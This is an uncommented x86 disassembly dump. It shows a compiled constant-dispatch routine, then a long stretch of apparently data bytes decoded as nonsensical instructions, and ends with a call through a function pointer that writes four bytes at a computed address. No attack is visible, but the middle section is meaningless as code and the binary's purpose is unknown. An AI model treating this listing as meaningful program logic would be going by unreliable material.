movsb byte es:[edi], byte [esi]
and dword [ecx], ebx
and dword [0xc6aa42e9], ebx
inc esi
int3
nop
jmp 0x67d7c926
nop
mov edx, dword [ebp - 0x214]
mov eax, dword [0x680a5030]
add eax, edx
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x1e0], 0x16f43
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1e8], 0x774a7
mov dword [ebp - 0x1e4], 0
mov eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x1e4]
sub eax, dword [ebp - 0x1e0]
sbb edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], edx
mov eax, dword [ebp - 0x1f0]
xor eax, 0xf3c69
or eax, dword [ebp - 0x1ec]
je 0x67d7f160
mov edx, 0xf3c69
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0xe7838
or eax, dword [ebp - 0x1ec]
je 0x67d7eb7f
mov edx, 0xe7838
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0xda882
or eax, dword [ebp - 0x1ec]
je 0x67d81a87
mov edx, 0xda882
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0xd98c5
or eax, dword [ebp - 0x1ec]
je 0x67d82649
mov edx, 0xd98c5
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0xd7078
or eax, dword [ebp - 0x1ec]
je 0x67d7d9dc
mov edx, 0xd7078
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0xcb18b
or eax, dword [ebp - 0x1ec]
je 0x67d7dfbd
mov edx, 0xcb18b
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0xcad87
or eax, dword [ebp - 0x1ec]
je 0x67d7fd22
mov edx, 0xcad87
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0xba009
or eax, dword [ebp - 0x1ec]
je 0x67d80303
mov edx, 0xba009
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0xad646
or eax, dword [ebp - 0x1ec]
je 0x67d8320b
mov edx, 0xad646
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0xab4ac
or eax, dword [ebp - 0x1ec]
je 0x67d808e4
mov edx, 0xab4ac
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x96ec1
or eax, dword [ebp - 0x1ec]
je 0x67d814a6
mov edx, 0x96ec1
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x7e781
or eax, dword [ebp - 0x1ec]
je 0x67d843ae
mov edx, 0x7e781
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x73f6c
or eax, dword [ebp - 0x1ec]
je 0x67d8498f
mov edx, 0x73f6c
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x71ad1
or eax, dword [ebp - 0x1ec]
je 0x67d82c2a
mov edx, 0x71ad1
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x712d8
or eax, dword [ebp - 0x1ec]
je 0x67d82068
mov edx, 0x712d8
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x666df
or eax, dword [ebp - 0x1ec]
je 0x67d7d3fb
mov edx, 0x666df
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x60564
or eax, dword [ebp - 0x1ec]
je 0x67d85551
mov edx, 0x60564
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x5ca8d
or eax, dword [ebp - 0x1ec]
je 0x67d7ce1a
mov edx, 0x5ca8d
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x5a9a4
or eax, dword [ebp - 0x1ec]
je 0x67d7f741
mov edx, 0x5a9a4
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x57eb1
or eax, dword [ebp - 0x1ec]
je 0x67d80ec5
mov edx, 0x57eb1
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x501ff
or eax, dword [ebp - 0x1ec]
je 0x67d837ec
mov edx, 0x501ff
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x3479f
or eax, dword [ebp - 0x1ec]
je 0x67d7e59e
mov edx, 0x3479f
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67d8554e
mov eax, dword [ebp - 0x1f0]
xor eax, 0x50a6
or eax, dword [ebp - 0x1ec]
je 0x67d83dcd
mov eax, dword [ebp - 0x1f0]
xor eax, 0x15371
or eax, dword [ebp - 0x1ec]
je 0x67d84f70
invalid
jmp 0x67d8554e
mov ah, 0xf8
inc ebp
sbb dword [ecx + 0x148d7ac0], ebp
xchg ebp, eax
mov cs, word [esi + 0x6a418705]
pop edi
jge 0x67d7ce01
hlt
int1
pop ebx
retf 0x8ce8
fbld tbyte [edi]
out dx, al
pop ds
xor byte [edi], ch
lodsd eax, dword [esi]
pop edx
invalid
push edi
ror byte [ecx], cl
invalid
pushal
out 0x98, al
sbb bl, byte [eax + 0x2b]
les esi, [eax + 0x6606b112]
imul edx, edx, 0x908ac66a
xchg esp, eax
nop
int3
jno 0x67d7d974
aam 0xd
insb byte es:[edi], dx
mov bh, 0xfb
fnstsw word [edi + 0x6d]
js 0x67d7d9a2
fld qword [edi + 0x6d]
shl dword [esi - 0x1678cc06], cl
adc ebx, dword [ecx + ebp*8 - 0x7a]
dec edx
mov ebp, 0xfb1bde3f
pushfd
stosb byte es:[edi], al
pushal
push ebp
jg 0x67d7d9c1
add eax, 0xb5341a0a
dec edx
mov al, byte [0xb791e0ba]
mov bh, 0x4e
adc eax, 0x82f6fd4f
dec esi
and eax, 0x44d793cb
pop ss
std
and al, 0x32
push ebp
ljmp 0x2de4
mov edi, 0x4b6cab41
push ebp
mov cl, byte [edi - 0x2b7b5bbb]
neg dh
into
fild qword [edi]
or ch, byte [eax + 0x58692a5f]
pop ds
xchg esi, eax
add ch, byte [edx]
jmp 0x3a00efcf
fcom qword [edi]
loope 0x67d7def0
or cl, ch
ror byte [ebx], 0xe6
mov dword [ecx - 0x336fc8ef], edx
pushal
mov ah, 0x2f
fsub dword [edx]
push cs
push esi
fadd dword gs:[esi]
xor byte [edx - 0x2c], dl
add ch, bh
std
fst st(0)
mov bl, 0xd6
mov ah, 0xa0
fmul st(7)
outsb dx, byte [esi]
sbb byte [edx + 0x23], bl
stosd dword es:[edi], eax
popfd
int3
and ebp, dword [ebx + 0x49cbcc9d]
movsd dword es:[edi], dword [esi]
js 0x67d7df42
mov dh, 0xa8
sar byte [0x297a0454], cl
cmpsd dword [esi], dword es:[edi]
xor cl, byte [0x5738a047]
adc byte [ebx], bl
xor eax, 0x9c21b161
jo 0x67d7dfa6
inc esp
dec ebx
mov dh, 0xfd
stc
into
lea edi, [ebx]
int 0xef
sbb eax, 0x8e05c28e
movsd dword es:[edi], dword [esi]
pop esi
sal dword [ebp + 0x42], 1
outsd dx, dword [esi]
pop esi
pop ds
mov esp, 0xa967ee77
cmp esp, 0x2dba0e4a
inc ecx
mov ebx, 0xcc90ec67
jmp 0x67d85552
nop
int3
xor dh, byte [edx - 0x7b]
mov eax, 0x4fb23ab7
int1
imul ecx, dword [esi], 0x8c4eab4c
inc eax
out 0xdc, eax
jg 0x67d7df6f
ja 0x67d7dfb6
push cs
out 0x87, eax
call 0x6c54a516
sal ebp, 1
xchg edx, eax
mov byte [0x31c523bd], al
xlatb
push ebp
push esi
adc eax, 0x9f7a36cc
inc edi
sub edi, dword [esi]
adc bh, 0xe6
push ds
inc edi
pop ecx
mov ebp, 0xbfe6057e
dec edi
lahf
fcmovb st(0), st(4)
inc ebp
je 0x67d7e012
lahf
nop dword gs:[ebx - 0x20]
div byte [ecx + ecx*4 - 0x18]
fsub dword [esi + 0x5b]
ror byte [0x7db0d93f], 1
mov al, 0x7d
jo 0x67d7e04e
aas
adc al, 0x62
mov dword [ebx + 0x76], ecx
retf 0xe0ac
pop ss
xchg edx, eax
pop ds
sub esi, edi
inc eax
movsd dword es:[edi], dword [esi]
clc
xor byte [ebx + 0x43], bh
jnp 0x67d7e063
sub edi, ebx
fucompp
xchg esi, eax
mov ebx, 0xb1ac72d4
or cl, byte [esp + ebp*2]
aam 0x72
lodsb al, byte [esi]
mov cl, 0xa
or al, 0x6c
mul edx
mov dl, bh
push ecx
mov ebp, 0x4d9e3d02
cmc
xchg edx, eax
salc
sal byte [esi], cl
je 0x67d7e0e4
xlatb
xchg dword [esi], ebx
aas
invalid
pop esi
adc dl, byte [eax + edx*4]
int3
retf 0xc5c1
dec edi
xchg byte [ebx], ch
movsb byte es:[edi], byte [esi]
insd dword es:[edi], dx
retf 0x6cac
mov ebx, 0xf26474fe
mov byte [edi + 0x2b0b0149], 0x5a
xlatb
lds edi, [ebp + 0x4b4df37a]
and eax, dword [ebp - 0x15]
ja 0x67d7eb17
add bl, byte [ebx]
sub al, 0x27
mov ebp, 0xb02d8cc6
mov eax, 0x6dde0448
invalid
js 0x67d7f16c
pop esp
nop
int3
test ch, ah
pop ss
invalid
inc ebx
or esi, ecx
sbb ah, byte [ecx + esi*4 - 0x6fadc4ab]
int3
jo 0x67d7f11b
rcr bl, 1
int1
loop 0x67d7f0f2
cli
inc edi
movsd dword es:[edi], dword [esi]
mov esp, gs
inc esi
shr byte [edx - 0x65], cl
add dword [edi], 0x66bf910d
je 0x67d7f150
retf 0xa3aa
in al, dx
int 0x11
cmp dword [ebp - 0xb], eax
and dword [ecx], 0xfffffff8
mov bh, 0xc4
invalid
mov al, byte [0xa92d696]
cli
outsd dx, dword [esi]
adc ah, bl
mov byte [ebp + 0x7f9dbf43], bh
pop es
nop
int3
jb 0x67d7fd0b
sub eax, 0x35b997df
pop ds
fild dword [ebx + esi*8 + 0x20]
jns 0x67d7fd83
and byte [ecx + 0x53], bh
add al, 0x57
mov dword [0x19123168], eax
lodsd eax, dword [esi]
add byte [eax + eax*8], bh
xor eax, 0x9c8c7c46
in eax, dx
aad 0xfd
loope 0x67d7fdb8
add eax, 0x2e6837db
add cl, byte [edx - 0x2f2b633b]
ret
pop edi
nop
int3
jp 0x67d7fd2c
inc edx
rcr ebx, cl
cmp eax, 0xf86628d6
outsb dx, byte [esi]
or eax, 0x1631bb0e
and byte [edx - 0x1d], 0x27
scasd eax, dword es:[edi]
inc ecx
out 0x72, eax
adc edx, dword [edx - 0x7b]
and byte [esp + ebp*2 - 0x44], dh
fstp qword [eax - 0x39]
jne 0x67d7fddf
push 0x7916f6fd
int 0x10
jnp 0x67d7fe31
pop ds
jp 0x67d7fdb4
add edi, dword [ebp + 0x57]
push edi
pop ebp
jns 0x67d7fd89
cwde
sub edi, dword [esi - 0xd]
xchg ebp, eax
fcmovbe st(0), st(6)
push 0x3d
loop 0x67d7fe3a
jg 0x67d7fd86
movsd dword es:[edi], dword [esi]
push ebp
in al, dx
das
add eax, 0x1873b8d3
xchg esi, eax
scasb al, byte es:[edi]
add bh, byte [ecx]
push ss
les edi, [ebx - 0x1e8ebfd0]
mov edi, dword [ebx + esi]
sbb al, 0x93
jl 0x67d7fe14
add byte [ebx + edx*4], bl
out dx, eax
cmpsd dword [esi], dword es:[edi]
add eax, 0xebcc907d
in al, dx
xchg ebp, eax
mov esp, 0xd8515df7
or dword [ebx + 0x4da43a04], ecx
adc dh, dl
or dword [ebx + 0x55], edx
add cl, byte [esi - 0x628a42fd]
cdq
test edx, edx
sub bh, cl
sub byte [edx], dl
or byte [edx - 0x7c], 0x7b
pop esp
jecxz 0x67d7fe19
add ebx, dword [esi + 0xa7fd41f]
repne cmpsd dword [esi], dword es:[edi]
pop ds
aam 0x7f
or dh, dl
cmpsd dword [esi], dword es:[edi]
invalid
invalid
pushfd
test dword [edi], ebp
xchg ebp, eax
wait
mov byte [ebx - 0x39b81a14], bl
mov eax, 0x9a8e64b9
and byte [eax + edx*4 - 0x34], bl
xchg sp, ax
dec esi
xchg byte [esi], ch
ror dword [edi], 1
jo 0x67d7fe13
invalid
pop ds
add dword [edi], esi
fidivr word [esp + ebp*2 + 0x3c]
jbe 0x67d7fe8b
sbb dh, byte [ecx]
lahf
adc eax, 0x54c984be
out 0x5c, eax
xchg ebp, eax
cmpsb byte [esi], byte es:[edi]
wait
xchg byte [esi], bl
imul dword [ebp - 0x57a3ee20]
fdivr st(2)
and byte [ebx + 0x5cf0c06c], al
push esi
cmp cl, byte [esi + edx + 0x65d3d540]
mov eax, dword [0xf1e700ea]
mov cl, 0xc6
loope 0x67d7fe44
pop ebp
inc ecx
xor ch, al
cmp byte [edi - 0x1438c3e6], 0xb0
enter 0xffffffffffff8200, 0x34
sahf
adc byte [ebp - 0x2a], dl
cmp dl, cl
add eax, 0x44493161
xor bl, byte [ecx]
out dx, eax
jg 0x67d7ff0c
mov bh, 0x38
nop
int3
test bl, cl
and dh, byte [eax - 0x63]
pop ds
hlt
mov esp, 0x6375c1a7
or al, 0x96
mov esi, 0x26f7398d
int3
add byte [eax + esi - 0x231e048b], al
test byte [eax], dh
jne 0x67d80302
loope 0x67d802e5
rcl byte [eax + 0x3a]
pop ebx
popal
sal cl, 1
mov ecx, 0x4f7b756f
wait
mov al, byte [0x71529707]
jmp 0x39e9498
shr esp, 0xdb
dec eax
add byte [eax - 0x3aece262], cl
sub byte [0x1af52acf], bl
mov edx, 0x23b8d3f4
jp 0x67d808e7
rcr dword [ebp + 0x1111ee35], 0xe4
out dx, al
sahf
aad 0xb0
dec esi
xchg dword [esi - 0x63], edi
jae 0x67d80938
inc ebp
ret 0x9663
invalid
adc dh, cl
mov word [ebx + 0x8145b42], es
in al, dx
loope 0x67d80ed6
mov ebx, 0xc5e4a110
push esp
hlt
xor ebx, ebx
into
pop edx
invalid
inc ebx
mov dh, pe_nt_image_headers32
fucomi st(2)
imul edx, esi, 0x96c12281
sub al, 0x65
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
cmc
invalid
leave
push ds
in eax, 0x2e
fstp xword [ebx + 0x75]
cmp al, 0xa
invalid
test eax, 0x7a1fbf28
cdq
mov esp, 0xc0326e31
loopne 0x67d826a0
or esi, edx
rol dword [edi + 0x2f], cl
cmp ecx, dword [ecx + 0x1e840fc3]
or al, 0x84
cdq
mov ebx, eax
je 0x15c3282
push 0x4b
lcall 0xcc41, 0xe22e6d6b
stosb byte es:[edi], al
pop ds
daa
jp 0x67d8265c
and dword [ebx + 0x1a], esp
xor byte [esi], 0x9c
pop eax
and dword [esi + 0x18], ecx
test al, 6
mov eax, dword [0x7d785527]
push eax
pop ss
lodsb al, byte [esi]
adc ax, cx
lodsb al, byte [esi]
movsd dword es:[edi], dword [esi]
adc bh, cl
pop esp
sbb al, 0xed
aas
retf
xor bh, 4
outsb dx, byte [esi]
sub eax, 0x63aaf187
adc byte [ecx], bh
nop
int3
pop ebp
rcr dword [edx + eax*4], 1
jno 0x67d82c6d
mov bl, 0x68
cmp byte [eax + 0x17], dl
in al, 0xae
nop
int3
sahf
loopne 0x67d82cac
push edx
inc esp
sub esp, dword [edi]
inc esi
mov eax, 0x520b3f0e
mov al, byte [0xbb9a91df]
aaa
cmp eax, 0x59bf7e20
out dx, eax
aas
inc eax
inc ebx
clc
shr byte [eax], 0x6a
push esp
nop
inc esp
lea ebp, [edx + 0x2a5c8fee]
popfd
enter 0x516f, 0xfffffffffffffff5
or esp, dword [esi - 0x29]
lcall 0xbac5, 0x9eabf4d5
inc ebp
xor al, 0xb
inc edx
invalid
sub dl, 0x6b
dec ebp
dec ecx
sbb esp, dword [eax + 0x4b6be134]
cmpsd dword [esi], dword es:[edi]
invalid
jae 0x67d82c16
salc
pop es
aaa
fadd dword [ecx - 0x52]
les esp, [ebx + 0x76]
xor cl, byte [0x90cad88f]
int3
mov bh, 0x16
dec eax
ja 0x67d82cea
mov eax, 0x9b714f03
jle 0x67d82cd2
pop ecx
xchg edi, eax
xor eax, 0xb8128c65
imul ebx, dword [ebp + 0x38b0e43b], 0x5306044f
jae 0x67d82c7c
mov eax, edi
add byte [edx], 0x35
push edi
arpl word [edi], sp
salc
add ebx, 0x1c
xchg edx, eax
out 0xc9, eax
imul edx, dword [eax], 0x21
jae 0x67d82c81
ret
dec edi
mov edi, 0xbeaee953
imul esi, ecx, 0xffffffac
jle 0x67d82d08
push 0x576d1f39
insd dword es:[edi], dx
push edi
jmp 0x67d82d49
jne 0x67d82ca9
add al, 0x7a
salc
sbb dl, byte [ebx + 0x2b4533b8]
in al, 0xcd
jl 0x67d82d21
sub esi, dword ss:[eax]
int1
movsd dword es:[edi], dword [esi]
xor esi, dword [ecx + ebx*4]
add byte [ebx - 0x53], bh
lodsd eax, dword [esi]
mov al, 0x77
das
xor dword [edi + 0x34723442], ebp
les ebp, [eax + 0x7782523c]
movsd dword es:[edi], dword [esi]
bound edx, qword [eax]
pop eax
xor byte [ecx - 8], 0x53
pop esi
cmp esi, dword [ebx]
cmp eax, 0xf5499b19
or dh, bl
push ds
outsb dx, byte [esi]
mov ecx, 0xc60f96b2
rep lodsd eax, dword [esi]
xor dword [esi], ebx
cmpsb byte [esi], byte es:[edi]
mov esp, 0x4fcf9ee6
nop
int3
invalid
daa
pop ds
dec ecx
jg 0x67d8325a
push 0x5d9973bd
and byte [ebx - 0x769b48f0], ch
push esi
ror eax, 0x65
sal ebx, cl
and edi, ebp
neg ebp
xor bh, byte [edx + ecx - 0x1725836d]
mov al, 0xda
cmp esp, dword [ebp + edi - 0x51]
aad 0x9c
push ss
rcl byte [ebp - 0x76]
inc eax
sbb byte [esi], dh
mov dl, 0x9a
mov edx, 0xa7633ef1
jg 0x67d83239
sub al, 0x2a
mov ebx, cs
pop ebx
xchg esi, eax
mov dh, 0x65
mov ch, 0xa5
xchg ebp, eax
mov al, byte [0xbef97b1f]
cmc
cdq
push ebx
push eax
invalid
adc dword [edi - 0x62ad2e5f], edx
out 0xd2, al
mov cl, 5
xor esi, dword [eax]
mov edx, 0x803c510c
fsubr st(0), st(0)
nop
int3
out 0xef, eax
cmp byte [ecx], dl
mov ebp, dword [esi]
stosd dword es:[edi], eax
pop ebp
xchg ecx, ebx
xor al, 0x3b
invalid
push ecx
xchg ebp, eax
ljmp 0x6dc6
jno 0x67d83daf
sub eax, 0xf35c2d7d
xchg edi, eax
cmp ebp, eax
invalid
stc
rol edx, cl
invalid
invalid
salc
lds eax, [esi - 0x1af85252]
push ecx
push cs
sub byte [0x7595375b], 0xdb
stosb byte es:[edi], al
dec esp
leave
push ecx
mov dx, 0x234c
xor eax, 0x88d5df4e
add ch, ch
test byte [edi + 0xc06b4b0], bl
shl al, cl
adc eax, 0x4467c7aa
push edx
dec eax
imul esp, dword cs:[ecx + 0x74], 0xffffffcd
inc esp
aaa
add dh, ah
cmpsb byte [esi], byte es:[edi]
adc eax, 0xc707a17c
arpl word [ebp + edx*8 + 0x9f424c1], cx
push es
ficom dword [edx + 0x7e15011a]
sbb ebx, esi
mov ebx, 0x9cf1fd50
invalid
nop
jmp 0x67d85552
nop
mov eax, dword [0x680a5008]
mov edx, dword [0x680a5024]
mov ecx, edx
mov edx, dword [ebp - 0x18c]
add edx, ecx
mov ecx, edx
mov dword [esp + 8], 4
lea edx, [ebp - 0x214]
mov dword [esp + 4], edx
mov dword [esp], ecx
call eax
jmp 0x67d85586
nop
jmp 0x67d85586
nop
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0xcc]
jb 0x67d64e03
mov eax, dword [ebp - 0x20c]
cmp dword [ebp - 0x10], eax
jb 0x67d490d3
nop
nop
mov ebx, dword [ebp - 4]
leave
ret